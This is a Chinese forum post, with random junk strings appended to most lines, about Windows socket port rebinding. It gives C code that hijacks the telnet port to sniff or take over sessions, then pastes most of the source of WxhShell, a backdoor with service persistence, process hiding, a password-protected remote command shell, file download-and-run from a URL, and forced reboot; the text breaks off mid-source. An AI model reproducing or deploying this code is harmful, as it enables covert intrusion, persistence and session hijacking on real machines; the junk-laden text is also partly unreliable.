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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n=rPFp RLF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -iH/~a  
)E6m}?H5  
  saddr.sin_family = AF_INET; wQ.ild  
;HqK^[1\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f_raICO{R  
dqF--)Nb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1f[!=p  
8{?Oi'-|0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D*D83z OzN  
Ih,~h[  
  这意味着什么?意味着可以进行如下的攻击: kP8Ypw&  
/#>?wy<s ~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hC6$>tl  
)%,bog(x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x( mY$l,il  
krz@1[w-j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hCr7%`  
}s{zy:1O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qx_+mCZ  
vj{h*~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ap}:^k5{  
p[Q   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1q\U (^  
m?<C\&)6x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |dX#4Mq^,  
FpW{=4yk  
  #include L]HY*e  
  #include 3$HFHUMQsk  
  #include A|y&\~<A  
  #include    TC R(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :kFWUs=  
  int main() ?FMHK\  
  { KY|Q#i|pM  
  WORD wVersionRequested; [xI@)5Xk  
  DWORD ret; d(To)ly.  
  WSADATA wsaData; u1]5qtg"  
  BOOL val; ^vG*8,^S=8  
  SOCKADDR_IN saddr; 8swj'SjX  
  SOCKADDR_IN scaddr; 2^ UFP+Yw  
  int err; <'GI<Hc  
  SOCKET s; /1MO]u\  
  SOCKET sc; -u{k  
  int caddsize; Q'Q+mt8u5  
  HANDLE mt; |n6nRE wW  
  DWORD tid;   vaK$j!%FE  
  wVersionRequested = MAKEWORD( 2, 2 ); vNJ!i\bX  
  err = WSAStartup( wVersionRequested, &wsaData ); TAzhD.6C  
  if ( err != 0 ) { }GGFJ"  
  printf("error!WSAStartup failed!\n"); G3?8GTH  
  return -1; u[d8)+VX  
  } ]MB ^0:F-  
  saddr.sin_family = AF_INET; pazFVzT  
   y!aq}YS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]Ff&zBJ  
^'FY!^dE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F*I{?NRN1  
  saddr.sin_port = htons(23); .` ,YUr$.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %?RX}37K  
  { Q*KEODR8\  
  printf("error!socket failed!\n"); VK ?,8Y  
  return -1; Uyi_B.:`  
  } =cRJtn  
  val = TRUE; tb@/E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KZDB\T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TR: D  
  {  "&C'K  
  printf("error!setsockopt failed!\n"); 4H1s"mP<  
  return -1; b(~NqV!i  
  } 6Ajiz_~U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OkFq>;{a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pV>/ "K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U<#i\4W  
DQ'+,bxk=9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Wigm`A=,r  
  { P5aHLNit  
  ret=GetLastError(); gQ/zk3?k  
  printf("error!bind failed!\n"); L:B&`,E  
  return -1; fNB*o={r|  
  } k92189B9j/  
  listen(s,2); # <&=ZLN  
  while(1) \ =83#*KK  
  { =2`s Uw}  
  caddsize = sizeof(scaddr); ~'T]B{.+J  
  //接受连接请求 C(?lp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `9 $?g|rB  
  if(sc!=INVALID_SOCKET) K<|eZhp~  
  { n|^-qy'w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YR[Ii?  
  if(mt==NULL) ,L_p"A  
  { q+LjWZ+O  
  printf("Thread Creat Failed!\n"); P7@q vg  
  break; E[_Z%zd^  
  } <pPI:D@G  
  } P^1rNB  
  CloseHandle(mt); r*,]=M W  
  } `CHgTkv  
  closesocket(s); 1S_ KX.  
  WSACleanup(); lYy0   
  return 0; ]bS\*q0Zf(  
  }   nC`=quM9  
  DWORD WINAPI ClientThread(LPVOID lpParam) }25{"R}K  
  { %oN^1a'&)  
  SOCKET ss = (SOCKET)lpParam; {OQ sGyR?  
  SOCKET sc; kv5D=0r  
  unsigned char buf[4096]; $RF"m"  
  SOCKADDR_IN saddr; LY^BkH'  
  long num; , :kCt=4%  
  DWORD val; [& hdyLt  
  DWORD ret; ;l?>+m@H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -G*u2i_*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <vbk@d  
  saddr.sin_family = AF_INET; hr)TC-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !TG"AW  
  saddr.sin_port = htons(23); 1uD}V7_y"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \>jK\j  
  { fxiq,o0  
  printf("error!socket failed!\n"); H[6d@m- Z  
  return -1; JXvHsCd?  
  } DpTQPu9  
  val = 100; TmUn/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -98bX]8  
  { Y3-15:-  
  ret = GetLastError(); o]k[l ;  
  return -1; n}._Nb 5  
  } (r7~ccy4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cLB"<mG  
  { $x`U)pv  
  ret = GetLastError(); Ya,>E@oc  
  return -1; \W$>EH  
  } sb8SG_c.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &, K;F'  
  { H)(Jjk-O  
  printf("error!socket connect failed!\n"); %Cm4a49FNi  
  closesocket(sc); L- =^GNh  
  closesocket(ss); LTJ|EXYA  
  return -1; l?#([(WM  
  } _s=[z$EN&  
  while(1) 0 J ANj  
  { V:l; 2rW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }*+ca>K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tb_}w@:kU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /j.V0%  
  num = recv(ss,buf,4096,0); vbA9 V<c&  
  if(num>0) O-:~6A  
  send(sc,buf,num,0); Fv(zql  
  else if(num==0) zzPgLE55  
  break; 7$b78wax  
  num = recv(sc,buf,4096,0); aP4r6lLv+  
  if(num>0) <hS >L1ZSr  
  send(ss,buf,num,0); VpJ2Qpd=  
  else if(num==0) GL (YC-{  
  break; II[qWs>RG[  
  } ;i,yT ?so  
  closesocket(ss); TrHBbyqk  
  closesocket(sc); b}k`'++2,  
  return 0 ; 7(wY4T  
  } ,!Ah+x  
iUSs)[]H>  
t1Cyyb  
========================================================== :a`l_RMU  
6IeHZ)jGj  
下边附上一个代码,,WXhSHELL VE{t]>*-u  
\t )Zk2  
========================================================== c)lMi}/  
CJ%7M`zy  
#include "stdafx.h" Tw|=;m  
$L;7SY?  
#include <stdio.h> 5w{_WR6,  
#include <string.h> Jd)|== yD  
#include <windows.h> Z=wLNmH  
#include <winsock2.h> "rkP@ja9n  
#include <winsvc.h> [t?ftS  
#include <urlmon.h> !9V_U  
M|76,2u   
#pragma comment (lib, "Ws2_32.lib") =X>?Y,   
#pragma comment (lib, "urlmon.lib") lgre@M]mg  
z^=9%tLJ  
#define MAX_USER   100 // 最大客户端连接数 yPuT%H&i  
#define BUF_SOCK   200 // sock buffer 3<?(1kSo>>  
#define KEY_BUFF   255 // 输入 buffer 3O$Q>.0w/  
l$.C40v  
#define REBOOT     0   // 重启 v')T^b F@  
#define SHUTDOWN   1   // 关机 ~ dmyS?Or  
o- GHAQ  
#define DEF_PORT   5000 // 监听端口 &e2") 4oh  
1oodw!hW  
#define REG_LEN     16   // 注册表键长度 Qv[@ioc  
#define SVC_LEN     80   // NT服务名长度 s{hJ"lv:  
Z wIsEJz  
// 从dll定义API 'rU 5VrK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h.G/HHz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DTgF,c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +=;F vb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >_tn7Z0 L  
$40tAes9  
// wxhshell配置信息 %0=|WnF-  
struct WSCFG { I?5#Q0,b  
  int ws_port;         // 监听端口 X[|-F3o  
  char ws_passstr[REG_LEN]; // 口令 -pyTzC$HO  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6fQQKM@a|  
  char ws_regname[REG_LEN]; // 注册表键名 i!sKL%z}  
  char ws_svcname[REG_LEN]; // 服务名 7e>n{rl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M%yT?R+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :C>slxY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D0tI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {n2jAR9nq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8 w^i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;/ WtO2  
o{nBtxZ"  
}; LB U]^t@ M  
O,XVA  
// default Wxhshell configuration ^%*%=LJm  
struct WSCFG wscfg={DEF_PORT, JKXs/r;:  
    "xuhuanlingzhe", \JN?3}_J  
    1, zTm&m#){3A  
    "Wxhshell", ocGqX Dg3  
    "Wxhshell", I`zn#U'  
            "WxhShell Service", q9F(8-J  
    "Wrsky Windows CmdShell Service", 3S +.]v>  
    "Please Input Your Password: ", RE7 I"  
  1, #!C/~"Y*`|  
  "http://www.wrsky.com/wxhshell.exe", M|7xI  
  "Wxhshell.exe" FL"7u2rh,  
    }; "J3@Z,qW  
;NB J@E,  
// 消息定义模块 c9r, <TR9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qeHb0G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `A3"*,|z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PzNk:O  
char *msg_ws_ext="\n\rExit."; NKh"x&R  
char *msg_ws_end="\n\rQuit."; E<D45C{DP  
char *msg_ws_boot="\n\rReboot..."; 3|l+&LF!IC  
char *msg_ws_poff="\n\rShutdown..."; T" XZ[q  
char *msg_ws_down="\n\rSave to "; -7$7TD`'7  
DMsxHAE1  
char *msg_ws_err="\n\rErr!"; QUwSnotgU  
char *msg_ws_ok="\n\rOK!"; VuPa '2  
FE" ksi 9  
char ExeFile[MAX_PATH]; ~bg?V0  
int nUser = 0; 5fDVJE "9"  
HANDLE handles[MAX_USER]; Nz\=M|@(#  
int OsIsNt; gb( a`  
9}:%CpD^~I  
SERVICE_STATUS       serviceStatus; Ae;> @k/|=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mfg{% .1  
tNG0ft%a  
// 函数声明 rAM{<  
int Install(void); MCjf$pZN]  
int Uninstall(void); _cQTQ  
int DownloadFile(char *sURL, SOCKET wsh); jV#{8 8  
int Boot(int flag); Mx4 <F "9  
void HideProc(void); /*B-y$WQk  
int GetOsVer(void); 3g0[( ;  
int Wxhshell(SOCKET wsl); [ ;  
void TalkWithClient(void *cs); "+~La{ POc  
int CmdShell(SOCKET sock); iQ~;to;Y  
int StartFromService(void); M._9/ *C U  
int StartWxhshell(LPSTR lpCmdLine); 294 0M4  
GNgPf"}K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !Z 3iu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DwMq  
{D={>0  
// 数据结构和表定义 JS1$l+1  
SERVICE_TABLE_ENTRY DispatchTable[] = U\*}}   
{ rB}Iwp8  
{wscfg.ws_svcname, NTServiceMain}, Lf4c[[@%gd  
{NULL, NULL} [z'PdYQR/{  
}; wi|'pKG  
]N!8U_U3  
// 自我安装 G0Eqo$W)S  
int Install(void) %scSp&X  
{ }4Ef31X8q  
  char svExeFile[MAX_PATH]; "eA4JL\%)  
  HKEY key; d %1j4JE{  
  strcpy(svExeFile,ExeFile); jgQn^  
8' M4 3n  
// 如果是win9x系统,修改注册表设为自启动 ]DHB'NOh,  
if(!OsIsNt) { [AstD9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x\z* iv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )*}2L_5]  
  RegCloseKey(key); LZG?M|(6D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _lcx?IV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^`XQ>-wWue  
  RegCloseKey(key); 3x@t7B  
  return 0; omisfu_~E  
    } w~{NN K;"j  
  } P|`pJYe  
} {ss^L  
else { C@3a/<6m  
_r@ FWUZ  
// 如果是NT以上系统,安装为系统服务 v0+mh]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,l+lokD-#  
if (schSCManager!=0) b*i_'k}*<g  
{ f*)8bZDD  
  SC_HANDLE schService = CreateService >r J9^rS  
  ( [CTE"@A  
  schSCManager, l.[S.@\=.  
  wscfg.ws_svcname, SM;UNIRVE  
  wscfg.ws_svcdisp, wK>a&`<  
  SERVICE_ALL_ACCESS, us%dw&   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2l^hnog|  
  SERVICE_AUTO_START, 9ozN$:  
  SERVICE_ERROR_NORMAL, G0 *>S`:4  
  svExeFile, _=!R l#  
  NULL, ]06orBV  
  NULL, uJhB>/Og  
  NULL, " iAwD8-  
  NULL, }22h)){n#Y  
  NULL V9  Z  
  ); 90<z*j$EK  
  if (schService!=0) G(joamfM  
  { 'b1k0 9'  
  CloseServiceHandle(schService); StZ GKY[Q  
  CloseServiceHandle(schSCManager); QfPsF@+-`7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P`^3-X/  
  strcat(svExeFile,wscfg.ws_svcname); Z'=:Bo{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PggjuPPh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [[ {L#  
  RegCloseKey(key); Lmh4ezrdH  
  return 0; O\0]o!  
    } &q8oalh  
  } mcO/V-\5'  
  CloseServiceHandle(schSCManager); d rRi<7 i  
} W@S>#3,  
} pe%$(%@v  
W5a7HkM  
return 1; '$nm~z,V  
} &}}UdJ`  
fib#)KE  
// 自我卸载 d!>.$|b  
int Uninstall(void) 8);G'7O  
{ l5; SY  
  HKEY key; r2!\Ts5v  
H 5\k`7R  
if(!OsIsNt) { hJ|zX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L F<{/c9,  
  RegDeleteValue(key,wscfg.ws_regname); vT1StOx<V  
  RegCloseKey(key); iG+hj:5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' 5tk0A  
  RegDeleteValue(key,wscfg.ws_regname); QT`|"RI%  
  RegCloseKey(key); ~| CWy  
  return 0; LeP;HP|  
  } =Pj+^+UM  
} |-+IF,j  
} 9pF@#A9p  
else { <?8 aM7W7  
z.d1>w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `_;sT8  
if (schSCManager!=0) WZh%iuI{C  
{ L<dJWxf?D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >G#SfE$0  
  if (schService!=0) WlJ=X$  
  { X>-|px$vy  
  if(DeleteService(schService)!=0) { k4i*80  
  CloseServiceHandle(schService); o*5iHa(Qm  
  CloseServiceHandle(schSCManager); xOY %14%Y  
  return 0; d1]1bN4`"0  
  } c2E*A+V#u  
  CloseServiceHandle(schService); ^mp#7OL  
  } 9I1D'7wI^^  
  CloseServiceHandle(schSCManager);  Q{K '#  
} O %m\ Q1  
} "39\@Ow  
AT{rg/oSf  
return 1; .Tm m  
} _ZMAlC*$G  
,;D$d#\"  
// 从指定url下载文件 GBg~NkC7.  
int DownloadFile(char *sURL, SOCKET wsh) f$y`tT %o  
{ NpPuh9e{  
  HRESULT hr; S&JsDPzSd  
char seps[]= "/"; 3bU(ea^e$  
char *token; W[VbFsI&b  
char *file; }w_r(g?\  
char myURL[MAX_PATH]; U\'HB.P\  
char myFILE[MAX_PATH]; fV(WUN+  
n Y)H-u^  
strcpy(myURL,sURL); ko-,l6E  
  token=strtok(myURL,seps); ; <NK  
  while(token!=NULL) '( ( pW  
  { {3LAK[ C  
    file=token; mxPzB#t4  
  token=strtok(NULL,seps); K HO@"+  
  } q}xYme4  
.Ld{QPa  
GetCurrentDirectory(MAX_PATH,myFILE); _GbwyfA n#  
strcat(myFILE, "\\"); 3bN]2\   
strcat(myFILE, file); chC= $(5t  
  send(wsh,myFILE,strlen(myFILE),0); _uf,7R-  
send(wsh,"...",3,0); Y W9+.Dc`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hj4mbL  
  if(hr==S_OK) F $6JzF$|F  
return 0; Mil+> X0  
else ~[@gu,Wb  
return 1; w\}@+w3b~  
GZt L-   
} OaH1xZNOC`  
?:AD&Dn  
// 系统电源模块 &02I-lD4+  
int Boot(int flag) +x(~!33[G  
{ MW|*Z{6*  
  HANDLE hToken; BB9+d"Sq  
  TOKEN_PRIVILEGES tkp; ud grZ/w]  
\?_M_5Nb  
  if(OsIsNt) { o)2KQ$b>Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C{<H)?]*BF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zg>)Lq|VsT  
    tkp.PrivilegeCount = 1; '>:c:Tewy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o|cx?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cm"7f !(#  
if(flag==REBOOT) { oniVC',  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jk=_8Xvr`  
  return 0; ]#sF pWI[N  
} pNnZ-R|u  
else { A)%!9i)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MBn ZO  
  return 0; GoUsB|-\  
} [X"pOz  
  } YwizA}a#  
  else { o|V`/sW{  
if(flag==REBOOT) { <p5?yF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4K(oOxc9.  
  return 0; }.k*4Vw#Wt  
} 1@:BUE;jZ  
else { Ys@OgdS@:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q)[DSM  
  return 0; dMw}4c3E  
} Liv.i;-qE  
} !)4'[5t"U  
IQ\5!e  
return 1; $n= w  
} ia#8 ^z  
XVfw0-O  
// win9x进程隐藏模块 l.Q.G<ol  
void HideProc(void)  NIh?2w"\  
{ S Rb-eDk'  
,^1B"#0{C<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PJF1+I.%c#  
  if ( hKernel != NULL )  /~1Ew  
  { aoHAB<.C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y!M# #K*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OPuty/^!Gw  
    FreeLibrary(hKernel); S;K5JBX0#  
  } rbl7-xhC7  
nKnQ%R  
return; SVn $!t  
} %7hf6Xo=  
,<s/K  
// 获取操作系统版本 ( yK@(euG  
int GetOsVer(void) t2LX@Q"  
{ I~F]e|Ehqr  
  OSVERSIONINFO winfo; Ay@/{RZz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {!&^VXZIT  
  GetVersionEx(&winfo); (91 YHhk{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gvFs$X*^:  
  return 1; hw({>cH\  
  else zQ#2BOx1  
  return 0; 6L<QKE=  
} %Y-5L;MI  
e'A 1%g)  
// 客户端句柄模块 #h}a   
int Wxhshell(SOCKET wsl) (Xl+Zi>\{  
{ hem>@Bp'V  
  SOCKET wsh; n{I1ZlEeh  
  struct sockaddr_in client; ,L=lg,lH^  
  DWORD myID; Yb\d(k$h  
:/R>0n,  
  while(nUser<MAX_USER) t{-*@8Ke  
{ : G'a"%x  
  int nSize=sizeof(client); l:+$Ks  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <Rfx`mn  
  if(wsh==INVALID_SOCKET) return 1; k&9[}a*  
0at['zw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wx8Qz,Z  
if(handles[nUser]==0) }R!t/ 8K  
  closesocket(wsh); Ou`;HN;[  
else \0n<6^y  
  nUser++; &Jd_@F#J  
  } $It3}?>C'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BA8g[T A7K  
~gdnD4[G  
  return 0; #T=e p0  
} `96MXP  
(#BOcx5J]  
// 关闭 socket VG_xNM  
void CloseIt(SOCKET wsh) }5AA}=  
{ []G@l. ]W  
closesocket(wsh); L{0\M`B-  
nUser--; {>Hn:jW<.  
ExitThread(0); mwutv8?  
} =I0J1Ob  
f#McTC3C  
// 客户端请求句柄 !0_/=mA^  
void TalkWithClient(void *cs) SLz;5%CPV  
{ L[^.pO  
y@(EGfI  
  SOCKET wsh=(SOCKET)cs; /r8sL)D+  
  char pwd[SVC_LEN]; "R\D:Olb#  
  char cmd[KEY_BUFF]; ,3 [FD9  
char chr[1]; 'p[*2J"K4  
int i,j; <v!jS=T  
 7LB%7~{<  
  while (nUser < MAX_USER) { @KRia{  
`CRF E5  
if(wscfg.ws_passstr) { 0oe2X1.%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N;a'`l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WfHa  
  //ZeroMemory(pwd,KEY_BUFF); n lZJ}xZ  
      i=0; P%;lHC #i  
  while(i<SVC_LEN) { \5-Dp9vG  
E`Br#"/Bl  
  // 设置超时 .kTOG'K\e  
  fd_set FdRead; }`aT=_B  
  struct timeval TimeOut; g 'td(i[  
  FD_ZERO(&FdRead); ;9<?~S  
  FD_SET(wsh,&FdRead); ,$ Cr9R&/  
  TimeOut.tv_sec=8; <'48mip  
  TimeOut.tv_usec=0; YU XxQ|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x*p'm[Tdtm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N2 t`  
SmAii}-jf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kQp*+ras  
  pwd=chr[0]; )NK#}c~5  
  if(chr[0]==0xd || chr[0]==0xa) { x)pR^t7u8  
  pwd=0; =y>CO:^G%  
  break; 6n|][! f  
  } G#~U\QlG-  
  i++; *zMt/d*<&  
    } $rJgBN   
BSL+Gjj~}  
  // 如果是非法用户,关闭 socket -q(*)N5.2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T oT('  
} 9e4`N"#,lI  
`dWnu3r;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p(cnSvg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E.*gKfL  
^%m{yf#  
while(1) { f&txg,W,yv  
96S$Y~G# &  
  ZeroMemory(cmd,KEY_BUFF); !K+hXQE1  
1h#/8 X  
      // 自动支持客户端 telnet标准   NZO86y/  
  j=0; ac6@E4 _  
  while(j<KEY_BUFF) { +~|Jn_:A f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "$P/ek  
  cmd[j]=chr[0]; e}n(mq  
  if(chr[0]==0xa || chr[0]==0xd) { mmG]|Cl@  
  cmd[j]=0; F8#MI G   
  break; m2&Vm~Py6b  
  } ^Nu j/  
  j++; KEdqA/F>  
    } 7H|0.  
4l>U13~#  
  // 下载文件 Z|fi$2k0!  
  if(strstr(cmd,"http://")) { 4TyzD%pOw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {?q`9[Z  
  if(DownloadFile(cmd,wsh)) ^/cqE[V~,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +p&zM3:9w  
  else \T!,Z;zK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Yvy37n((  
  } lANi$ :aE  
  else { !/ dH"h  
pMY7{z  
    switch(cmd[0]) { [XH,~JZJj  
  CpK:u! Dn  
  // 帮助 I!}V+gu=  
  case '?': { eCWF0a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x iz+ R9p  
    break; p&#ju*i6z  
  } &g>M Z" Z|  
  // 安装 cP4C<UG  
  case 'i': { m 2/S(f  
    if(Install()) Udf\;G@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Z f  
    else :hcOceNz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .wUnN8crQ  
    break; K:% MhH-  
    } 0!RP7Sx  
  // 卸载 7HQL^Q  
  case 'r': { 5!pNo*QK  
    if(Uninstall()) bSn={O"M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :5'hd^Q  
    else n*i&o;5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T tnJ u*  
    break; 97<Z,q72Y  
    } epG]$T![  
  // 显示 wxhshell 所在路径 1]Cb i7  
  case 'p': { (D6ks5Uui  
    char svExeFile[MAX_PATH]; 4sX? O4p  
    strcpy(svExeFile,"\n\r"); -m[ tYp,q  
      strcat(svExeFile,ExeFile); xA<-'8ST  
        send(wsh,svExeFile,strlen(svExeFile),0); kM@e_YtpY  
    break; bxO[y<|XL  
    } [w-Tf&  
  // 重启 k<Xb< U  
  case 'b': { gPA8A>U)[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \gK'g-)}  
    if(Boot(REBOOT)) xwW(WHdC]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !I\eIV>0b  
    else { +>AVxV=A#  
    closesocket(wsh); K>5 bb  
    ExitThread(0); &x=_n'  
    } _/"e'@z  
    break; F>^KXq:Z  
    } t:P7ah  
  // 关机 f="ZplW  
